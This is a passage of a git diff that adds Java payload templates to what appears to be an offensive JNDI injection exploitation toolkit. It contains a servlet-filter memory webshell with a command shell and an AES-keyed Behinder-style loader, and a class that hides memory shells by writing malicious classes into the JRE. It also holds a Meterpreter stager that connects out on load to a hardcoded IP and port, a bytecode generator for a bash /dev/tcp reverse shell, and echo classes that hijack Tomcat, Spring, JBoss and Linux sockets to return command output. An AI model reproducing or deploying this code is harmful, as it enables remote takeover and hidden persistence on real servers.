className, "dnslog", "Ljava/lang/String;"); + mv.visitInsn(RETURN); + mv.visitMaxs(1, 0); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/DynamicFilterTemplate.java b/src/main/java/com/qi4l/jndi/template/DynamicFilterTemplate.java new file mode 100644 index 00000000..cdea3c18 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/DynamicFilterTemplate.java @@ -0,0 +1,100 @@ +package com.qi4l.jndi.template; + +import sun.misc.BASE64Decoder; +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import java.io.File; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Scanner; + +public class DynamicFilterTemplate implements Filter { + + private Class myClassLoaderClazz; + private String basicCmdShellPwd = "pass"; + private String behinderShellHeader = "X-Options-Ai"; + private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond + + public DynamicFilterTemplate() { + super(); + initialize(); + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + System.out.println("[+] Dynamic Filter says hello"); + + if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){ + //basic cmd shell + String cmd = servletRequest.getParameter(basicCmdShellPwd); + if(cmd != null && !cmd.isEmpty()){ + String[] cmds = null; + if(File.separator.equals("/")){ + cmds = new String[]{"/bin/sh", "-c", cmd}; + }else{ + cmds = new String[]{"cmd", "/C", cmd}; + } + String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); + servletResponse.getWriter().println(result); + } + }else if(((HttpServletRequest)servletRequest).getHeader(behinderShellHeader) != null){ + //behind3 shell + try{ + if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){ + String k = behinderShellPwd; + ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k); + Cipher cipher = Cipher.getInstance("AES"); + cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); + byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); + Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); + Object evilObject = evilClass.newInstance(); + Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); + targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); + } + }catch(Exception e){ + e.printStackTrace(); + } + }else{ + filterChain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } + + private void initialize() { + try{ + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try{ + this.myClassLoaderClazz = classLoader.loadClass("com.qi4l.jndi.template.MyClassLoader"); + } catch (ClassNotFoundException e) { + String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; + byte[] bytes = new BASE64Decoder().decodeBuffer(code); + Method method = null; + try { + method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); + } catch (NoSuchMethodException ex) { + ex.printStackTrace(); + } + } + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/HideMemShellTemplate.java b/src/main/java/com/qi4l/jndi/template/HideMemShellTemplate.java new file mode 100644 index 00000000..42044828 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/HideMemShellTemplate.java @@ -0,0 +1,82 @@ +package com.qi4l.jndi.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileOutputStream; + +/** + * 通过落地恶意文件到 /jre/classes 来使 Bootstrap ClassLoader 加载恶意代码 + * 使常见的工具无法检测出系统内的内存马 + * 由于 classes 文件夹默认不存在,因此需要较高的读写权限 + * + */ +public class HideMemShellTemplate extends ClassLoader{ + static String b64; + + static String className; + + static { + try { + writeClassFileToJRE(className, b64); + new HideMemShellTemplate().loadClass(className); + } catch (Exception ignored) { + } + } + + public static void writeClassFileToJRE(String className, String base64Content) throws Exception { + ByteArrayInputStream bais = new ByteArrayInputStream(base64Decode(base64Content)); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] bs = new byte[4096]; + int read; + + while ((read = bais.read(bs)) != -1) { + baos.write(bs, 0, read); + } + + byte[] bytes = baos.toByteArray(); + + String javaHome = System.getenv().get("JAVA_HOME"); + javaHome = javaHome == null ? System.getProperty("java.home") : javaHome; + + if (javaHome != null && (!javaHome.endsWith("jre/") || !javaHome.endsWith("jre"))) { + javaHome += "/jre/"; + } + + File file = new File(javaHome + "/classes/" + className.replace(".", "/") + ".class"); + + if (!file.getParentFile().exists()) { + file.getParentFile().mkdirs(); + } + + FileOutputStream fos = new FileOutputStream(file); + fos.write(bytes); + fos.flush(); + fos.close(); + } + + public static byte[] base64Decode(String bs) { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + return value; + } + + + @Override + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + System.out.println(Thread.currentThread().getContextClassLoader()); + return Class.forName(name, true, Thread.currentThread().getContextClassLoader()); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Meterpreter.java b/src/main/java/com/qi4l/jndi/template/Meterpreter.java new file mode 100644 index 00000000..c95db5f9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Meterpreter.java @@ -0,0 +1,139 @@ +/* + * Decompiled with CFR 0.152. + */ +package com.qi4l.jndi.template; + +import java.io.*; +import java.net.Socket; +import java.util.HashMap; + +public class Meterpreter + extends ClassLoader + implements Runnable { + private HashMap parameterMap; + public static String host = "111.229.10.212"; + public static String port = "23412"; + //public String host; + //public String port; + static /* synthetic */ Class class$0; + static /* synthetic */ Class class$1; + static /* synthetic */ Class class$2; + + public void initLhost() { + this.host = "111.229.10.212"; + this.port = "23412"; + } + + + //public String toString() { + // if (this.host != null && this.port != null) { + // Thread thread = new Thread(this); + // thread.start(); + // this.parameterMap.put("result", "ok".getBytes()); + // } else { + // this.parameterMap.put("result", "host or port is null".getBytes()); + // } + // this.parameterMap = null; + // return ""; + //} + + public boolean equals(Object paramObject) { + try { + this.parameterMap = (HashMap) paramObject; + this.host = this.get("host"); + this.port = this.get("port"); + } catch (Exception e) { + return false; + } + return true; + } + + public void getShell() throws Exception { + InputStream inputStream1 = null; + OutputStream outputStream = null; + int j = new Integer(this.port); + String str4 = this.host; + Socket socket = null; + if (str4 != null) { + socket = new Socket(str4, j); + } + inputStream1 = socket.getInputStream(); + outputStream = socket.getOutputStream(); + new Meterpreter().bootstrap(inputStream1, outputStream); + } + + private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { + try { + Class clazz; + DataInputStream dataInputStream = new DataInputStream(paramInputStream); + int i = dataInputStream.readInt(); + do { + byte[] arrayOfByte = new byte[i]; + dataInputStream.readFully(arrayOfByte); + clazz = this.defineClass(null, arrayOfByte, 0, i); + this.resolveClass(clazz); + } while ((i = dataInputStream.readInt()) > 0); + Object object = clazz.newInstance(); + Class[] classArray = new Class[3]; + Class clazz2 = class$0; + if (clazz2 == null) { + try { + clazz2 = class$0 = Class.forName("java.io.DataInputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[0] = clazz2; + Class clazz3 = class$1; + if (clazz3 == null) { + try { + clazz3 = class$1 = Class.forName("java.io.OutputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[1] = clazz3; + Class clazz4 = class$2; + if (clazz4 == null) { + try { + clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[2] = clazz4; + clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); + } catch (Throwable throwable) { + // empty catch block + } + } + + public static void main(String[] args) throws Exception { + Meterpreter meterpreter = new Meterpreter(); + meterpreter.run(); + } + + static { + + Meterpreter meterpreter = new Meterpreter(); + meterpreter.initLhost(); + meterpreter.run(); + } + + public void run() { + try { + this.getShell(); + } catch (Exception exception) { + System.out.println(exception); + // empty catch block + } + } + + public String get(String key) { + try { + return new String((byte[]) this.parameterMap.get(key)); + } catch (Exception e) { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/MyClassLoader.java b/src/main/java/com/qi4l/jndi/template/MyClassLoader.java new file mode 100644 index 00000000..90980188 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/MyClassLoader.java @@ -0,0 +1,10 @@ +package com.qi4l.jndi.template; + +public class MyClassLoader extends ClassLoader { + MyClassLoader(ClassLoader c){super(c);} + + + public static Class defineClass(byte[] bytes, ClassLoader classLoader){ + return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/ReverseShellTemplate.java b/src/main/java/com/qi4l/jndi/template/ReverseShellTemplate.java new file mode 100644 index 00000000..80681247 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/ReverseShellTemplate.java @@ -0,0 +1,170 @@ +package com.qi4l.jndi.template; + +import com.qi4l.jndi.gadgets.utils.Cache; +import com.qi4l.jndi.gadgets.utils.Util; +import org.objectweb.asm.*; +import static org.objectweb.asm.Opcodes.*; + +public class ReverseShellTemplate implements Template { + private String className; + private byte[] bytes; + private String ip; + private int port; + + public ReverseShellTemplate(String ip, String port){ + this(ip, Integer.parseInt(port)); + } + + + public ReverseShellTemplate(String ip, int port){ + this.ip = ip; + this.port = port; + this.className = "Exploit" + Util.getRandomString(); + + generate(); + } + + public ReverseShellTemplate(String ip, String port, String className){ + this(ip, Integer.parseInt(port)); + this.className = className; + + generate(); + } + + @Override + public String getClassName(){ + return className; + } + + @Override + public byte[] getBytes() { + return bytes; + } + + @Override + public void cache() { + Cache.set(className, bytes); + } + + @Override + public void generate() { + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + + { + fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception"); + Label l3 = new Label(); + mv.visitLabel(l3); + mv.visitLineNumber(12, l3); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + Label l4 = new Label(); + mv.visitLabel(l4); + mv.visitLineNumber(13, l4); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l5 = new Label(); + mv.visitJumpInsn(IFEQ, l5); + Label l6 = new Label(); + mv.visitLabel(l6); + mv.visitLineNumber(14, l6); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("/bin/bash"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("-c"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitLineNumber(16, l0); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + mv.visitLineNumber(19, l1); + mv.visitJumpInsn(GOTO, l5); + mv.visitLabel(l2); + mv.visitLineNumber(17, l2); + mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"}); + mv.visitVarInsn(ASTORE, 2); + Label l7 = new Label(); + mv.visitLabel(l7); + mv.visitLineNumber(18, l7); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); + mv.visitLabel(l5); + mv.visitLineNumber(22, l5); + mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null); + mv.visitInsn(RETURN); + Label l8 = new Label(); + mv.visitLabel(l8); + mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2); + mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1); + mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0); + mv.visitMaxs(4, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(27, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(32, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2); + mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/Template.java b/src/main/java/com/qi4l/jndi/template/Template.java new file mode 100644 index 00000000..d1bbaa6d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Template.java @@ -0,0 +1,8 @@ +package com.qi4l.jndi.template; + +public interface Template { + void generate(); + byte[] getBytes(); + void cache(); + String getClassName(); +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java b/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java new file mode 100644 index 00000000..7756d9b1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java @@ -0,0 +1,88 @@ +package com.qi4l.jndi.template.echo; + +public class AllEcho { + public static String CMD_HEADER = "cmd"; + + public static java.util.HashSet h = new java.util.HashSet(); + + public static javax.servlet.http.HttpServletRequest r = null; + + public static javax.servlet.http.HttpServletResponse p = null; + + static { + F(Thread.currentThread(), 0); + } + + private static boolean i(Object obj) { + if (obj == null || h.contains(obj)) { + return true; + } + h.add(obj); + return false; + } + + private static void F(Object start, int depth) { + Class n = start.getClass(); + do { + java.lang.reflect.Field f = null; + int l = n.getDeclaredFields().length; + for (int i = 0; i < l; i++) { + f = n.getDeclaredFields()[i]; + f.setAccessible(true); + Object o = null; + try { + o = f.get(start); + if (!o.getClass().isArray()) { + p(o, depth); + } else { + Object q = null; + Object[] objs = (Object[]) o; + int len = java.lang.reflect.Array.getLength(o); + for (int j = 0; j < len; j++) { + q = objs[j]; + p(q, depth); + } + } + } catch (Exception ignored) { + } + } + } while ((n = n.getSuperclass()) != null); + } + + private static void p(Object o, int depth) { + if (depth > 52 || (r != null && p != null)) { + return; + } + if (!i(o)) { + if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) { + r = (javax.servlet.http.HttpServletRequest) o; + if (r.getHeader(CMD_HEADER) == null) { + r = null; + } else { + try { + p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{}); + } catch (Exception e) { + r = null; + } + } + } + if (r != null && p != null) { + try { + try { + p.getWriter().println(q(r.getHeader(CMD_HEADER))); + } catch (Exception ignored) { + } + p.getWriter().flush(); + p.getWriter().close(); + } catch (Exception ignored) { + } + return; + } + F(o, depth + 1); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java b/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java new file mode 100644 index 00000000..448347db --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java @@ -0,0 +1,69 @@ +package com.qi4l.jndi.template.echo; + +public class JbossEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString(); + + if (cmd != null && !cmd.isEmpty()) { + java.io.ByteArrayOutputStream baos = q(cmd); + + try { + // 高版本底层是 undertow + Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); + Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); + java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); + os.write(baos.toByteArray()); + os.close(); + } catch (ClassNotFoundException ignored) { + Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{}); + if (response == null) { + java.lang.reflect.Field field = req.getClass().getDeclaredField("request"); + field.setAccessible(true); + response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{}); + + } + Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()}); + getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{}); + } + } + } catch (Exception ignored) { + } + + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java b/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java new file mode 100644 index 00000000..c8e86eda --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.template.echo; + +public class LinuxEcho1 { + + static { + try { + String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'"; + + java.util.List list = new java.util.ArrayList<>(); + String[] cmd = new String[]{"/bin/sh", "-c", command }; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + String line; + while ((line = br.readLine()) != null){ + list.add(line); + } + + br.close(); + + java.lang.reflect.Constructor c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + + for(String s : list){ + Integer integer = Integer.parseInt(s); + + try{ + cmd = new String[]{"/bin/sh", "-c", "ls -l" }; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + StringBuilder sb = new StringBuilder(); + while ((line = br.readLine()) != null){ + sb.append(line + "\n"); + } + + java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(integer)); + os.write(sb.toString().getBytes()); + + br.close(); + os.close(); + }catch(Exception e){} + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java b/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java new file mode 100644 index 00000000..f6cb6fb5 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java @@ -0,0 +1,67 @@ +package com.qi4l.jndi.template.echo; + +public class LinuxEcho2 { + + static { + try { + if(java.io.File.separator.equals("/")){ + String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res1 = new java.util.ArrayList(); + String line = ""; + while ((line = br.readLine()) != null && !line.trim().isEmpty()){ + res1.add(line); + } + br.close(); + + try { + Thread.sleep((long)2000); + } catch (InterruptedException e) { + //pass + } + + command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'"; + cmd = new String[]{"/bin/sh", "-c", command}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res2 = new java.util.ArrayList(); + while ((line = br.readLine()) != null && !line.trim().isEmpty()){ + res2.add(line); + } + br.close(); + + int index = 0; + int max = 0; + for(int i = 0; i < res2.size(); i++){ + try{ + String socketNo = ((String)res2.get(i)).split("\\s+")[1].substring(8); + socketNo = socketNo.substring(0, socketNo.length() - 1); + for(int j = 0; j < res1.size(); j++){ + if(!socketNo.equals(res1.get(j))) continue; + + if(Integer.parseInt(socketNo) > max) { + max = Integer.parseInt(socketNo); + index = j; + } + break; + } + }catch(Exception e){ + //pass + } + } + + int fd = Integer.parseInt(((String)res2.get(index)).split("\\s")[0]); + java.lang.reflect.Constructor c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + cmd = new String[]{"/bin/sh", "-c", "id"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; + java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)})); + os.write(result.getBytes()); + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java b/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java new file mode 100644 index 00000000..a7fd8101 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.template.echo; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +public class SpringEcho extends AbstractTranslet { + + public SpringEcho() { + + try { + org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); + javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); + javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); + String cmd = request.getHeader(CMD_HEADER); + if (cmd != null && !cmd.isEmpty()) { + response.getWriter().write(new String(q(cmd).toByteArray())); + } + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + public static String CMD_HEADER; + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java b/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java new file mode 100644 index 00000000..2ba3adb9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java @@ -0,0 +1,93 @@ +package com.qi4l.jndi.template.echo; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import sun.misc.Unsafe; + +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +public class TomcatEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) 